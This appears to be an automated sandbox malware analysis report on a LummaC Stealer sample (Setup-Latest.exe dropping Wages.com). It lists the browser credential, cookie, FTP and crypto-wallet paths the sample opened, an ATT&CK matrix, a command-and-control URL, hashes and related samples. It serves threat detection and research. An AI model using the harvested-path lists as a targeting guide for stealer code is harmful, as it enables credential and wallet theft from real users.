Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\562639\Wages.com	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	121 Windows Management Instrumentation	1 Scripting	12 Process Injection	11 Masquerading	2 OS Credential Dumping	21 Security Software Discovery	Remote Services	11 Input Capture	11 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	11 Input Capture	21 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	12 Process Injection	Security Account Manager	3 Process Discovery	SMB/Windows Admin Shares	31 Data from Local System	13 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	13 File and Directory Discovery	Distributed Component Object Model	1 Clipboard Data	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	25 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Setup-Latest.exe	19%	Virustotal		Browse
Setup-Latest.exe	19%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\562639\Wages.com	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
https://zengardxen.cyou/api	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
zengardxen.cyou	188.114.97.3	true	true		unknown
jnYxaqNNmUyHTVQ.jnYxaqNNmUyHTVQ	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://zengardxen.cyou/api	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://www.autoitscript.com/autoit3/X	Wages.com, 0000000D.00000000.1763368679.0000000000985000.00000002.00000001.01000000.00000007.sdmp, Decorating.9.dr, Wages.com.1.dr	false	high
http://nsis.sf.net/NSIS_ErrorError	Setup-Latest.exe	false	high
https://www.autoitscript.com/autoit3/	Volunteers.9.dr, Wages.com.1.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.97.3	zengardxen.cyou	European Union		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1615219
Start date and time:	2025-02-14 16:54:20 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 37s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Setup-Latest.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@28/23@2/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 26 Number of non-executed functions: 39
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.12.23.50, 13.107.246.45, 4.175.87.197
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
10:55:21	API Interceptor	8x Sleep call for process: Wages.com modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.97.3	engine.ps1	Get hash	malicious	FormBook	Browse	www.serenityos.dev/rmwo/
	PDF SCAN COPY P.O7767.exe	Get hash	malicious	FormBook	Browse	www.actpisalnplay.cyou/oxsm/
	AGODA COMPANY PTE LTD.exe	Get hash	malicious	FormBook	Browse	www.baurishu.info/6oy6/?_j=6nA47ZHp&FZQ=7xOMRooSSsdqiPLUwJdUBA7jSGBkvIlXa8t/xkLysZwhALyZ/D1DnA5RJCtzQ0mexpIl7jsdSrCncqt0u60b9lReTIu2hx5TfEdYnkD0kAiXAP2WKA==
	bHYg.exe	Get hash	malicious	FormBook	Browse	www.actpisalnplay.cyou/3vjo/
	Payment -Advice-6UoSFOxOntvuu94-PDF.exe	Get hash	malicious	FormBook	Browse	www.desktitle.homes/bc93/
	BINATONE LLC RFQ.Vbs.vbs	Get hash	malicious	FormBook	Browse	www.trosky.lol/o88r/
	JJ0tnjLiDS.exe	Get hash	malicious	FormBook	Browse	www.adventurerepair24.live/gc4d/
	Confirmation Receipt for ETF_20250211_HSBCEU314AX51920DEU.vbe	Get hash	malicious	FormBook	Browse	www.actpisalnplay.cyou/c6as/
	(BBVA) SWIFT_consulta_de_operaciones 10-02-2025-PDF.exe	Get hash	malicious	FormBook	Browse	www.timeinsardinia.info/50g8/
	swift copy.exe	Get hash	malicious	FormBook	Browse	www.timeinsardinia.info/a84t/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	SPECIFICATIONS112025.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.32.1
	https://notifications.google.com/g/p/ANiao5qKfpKGd2jYVQDb7vORoVGY96M_apQZWQcfuLgUh0GZyBJANTtYK9_noZQ1711qN-Nnm0DMf_B0c07RxsIpTsLOXIG6nNUkP7-522wWZZkizIeUQoaYMxfvubAPN7K6vgKfJCjpF3Y3VSFZPtNm5n34HM86QMFnOVYHFycjRojvprEeSViyQqV_RbPVd9Nh3y1jQx8FWiMJd_UXkRWlNs4	Get hash	malicious	Unknown	Browse	172.67.75.11
	http://hep2go.com	Get hash	malicious	Unknown	Browse	1.1.1.1
	SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.245
	SecuriteInfo.com.Win32.CrypterX-gen.27676.31428.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.64.1
	https://click-v4.mainexclkdir.com	Get hash	malicious	Unknown	Browse	1.1.1.1
	http://office.biofcnn.com/GrEkVrfg	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	104.19.229.21
	https://click-v4.mainexclkdir.com	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://drive.google.com/uc?export=download&id=1CmHgECvh_EHGsZqLVn0a5drEg1A7U8vx	Get hash	malicious	Unknown	Browse	104.18.41.137
	http://hookersbaits.co.uk	Get hash	malicious	Unknown	Browse	104.17.25.14

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	SecuriteInfo.com.Win32.CrypterX-gen.27676.31428.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	Ux9pGQCe7d.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	t5vT1k9gg6.exe	Get hash	malicious	Amadey, Healer AV Disabler, LummaC Stealer, PureLog Stealer, RedLine, Xorist, zgRAT	Browse	188.114.97.3
	PO-989-34 MT.docx.doc	Get hash	malicious	Unknown	Browse	188.114.97.3
	HFLnponMjX.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	asdasdasdasd.docx.doc	Get hash	malicious	Unknown	Browse	188.114.97.3
	Lumma.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	SecuriteInfo.com.Win32.Evo-gen.7075.31767.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	1w5RpHuliE.exe	Get hash	malicious	Amadey, GCleaner, LummaC Stealer, PureLog Stealer, RedLine, SmokeLoader, Vidar	Browse	188.114.97.3

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\562639\Wages.com	XKNN9fS4Tr.exe	Get hash	malicious	Amadey, AsyncRAT, Cryptbot, PureLog Stealer	Browse
	qNXDfsU2K7.exe	Get hash	malicious	Unknown	Browse
	H5S6rm5oQ9.exe	Get hash	malicious	Unknown	Browse
	qNXDfsU2K7.exe	Get hash	malicious	Unknown	Browse
	H5S6rm5oQ9.exe	Get hash	malicious	Unknown	Browse
	ThsoAuzU1L.exe	Get hash	malicious	Unknown	Browse
	ThsoAuzU1L.exe	Get hash	malicious	Unknown	Browse
	AxQgcpYNXx.exe	Get hash	malicious	Unknown	Browse
	nykfsekawddd.exe	Get hash	malicious	Blackshades	Browse
	random.exe	Get hash	malicious	Amadey, AsyncRAT, LummaC Stealer, PureLog Stealer, zgRAT	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\562639\G

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	data
Category:	dropped
Size (bytes):	529571
Entropy (8bit):	7.999626419165469
Encrypted:	true
SSDEEP:	12288:BWT1PcCV6PdbVjJ7qK9SuaKh8M48AJ4hlyHCpnDk9LB2NwPDH:i1UO6PdWKQKeF4hlycDk92wPDH
MD5:	3C2D7A5C987B05E3941DD6EFFD48FAA7
SHA1:	BA99E1C7EE435ABC80058CE8A9472115082C31FB
SHA-256:	21EE5E1BA7E6CBF8B183A93E4CCA1EA9266C5CF03A24F4D47D5F5682D90849F4
SHA-512:	9E273F2A017DFAFEB876C26E3C8BAA490D8BB429BF2F7CBF8B61B0B731E166C3CAC0D4FD8E266CD93411603A4D1578D4F6C5ED536BC2EF0FE835EF35EF8D6943
Malicious:	false
Preview:	..-..8....J3....K.z..R:...H.:....".F. ...B5.4L,.....Fu.k..5.1..uSw.J.\|....>...Xt........tyN[V;.<....v.:<6.f'R..=..k\|..].].Q....DL..:.h....v"t.!...h.T..e.2.^...M."..Ny.nb...:.e............X..(+R.k.w..L....I.gg.....2O0C......}.5H..B....~.l.3KB..ZM..;.......A:u..e..0.4..v+..p..."..{O.b-.;..~.2p.o.$.;.(....C.!...x_..Z[....3..........+R..q_...\|l..q....d.JUC.,..7..%.3P.}.t-.+..?~..f+.\"`.p..D....F..!....n..j..{.s......HU./p.o.48w...a.Y.x....w.I..~\|....!bm../.j...f.o...V....C.'..3..~.4:?....gJs...\|....-C.........x1.0.........D..J.....+...^.g.\|...>L....zj&PO.q.6.....]..k.[jG...~.L.i.!...>S..?1..D4.qG.m.m....l......I....).SN}Z.}....r.^..@......RF..x.u......1.....z>...{..XM......S..SD.....E......0.....4V.m}.~...M&.c.j.W..I+1m/.;sU.....18=.b.5.....!=......N&.SZO.A..t.2...[.8y.\|.<Q.~....8.fd.....Xl...X...Z.AH..6A.......0>.8...c.[.b^...6.z..?.M.m..Z.r.&..a.\.:m4.F...>....u.!.d'.S.C.]k7....v...0.-.........~.95..e.:.:....Ag.w...7...U.i....f^@..K

C:\Users\user\AppData\Local\Temp\562639\Wages.com

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	947288
Entropy (8bit):	6.630612696399572
Encrypted:	false
SSDEEP:	24576:uvG4FEq/TQ+Svbi3zcNjmsuENOJuM8WU2a+BYK:u9GqLQHbijkmc2umva+OK
MD5:	62D09F076E6E0240548C2F837536A46A
SHA1:	26BDBC63AF8ABAE9A8FB6EC0913A307EF6614CF2
SHA-256:	1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49
SHA-512:	32DE0D8BB57F3D3EB01D16950B07176866C7FB2E737D9811F61F7BE6606A6A38A5FC5D4D2AE54A190636409B2A7943ABCA292D6CEFAA89DF1FC474A1312C695F
Malicious:	true
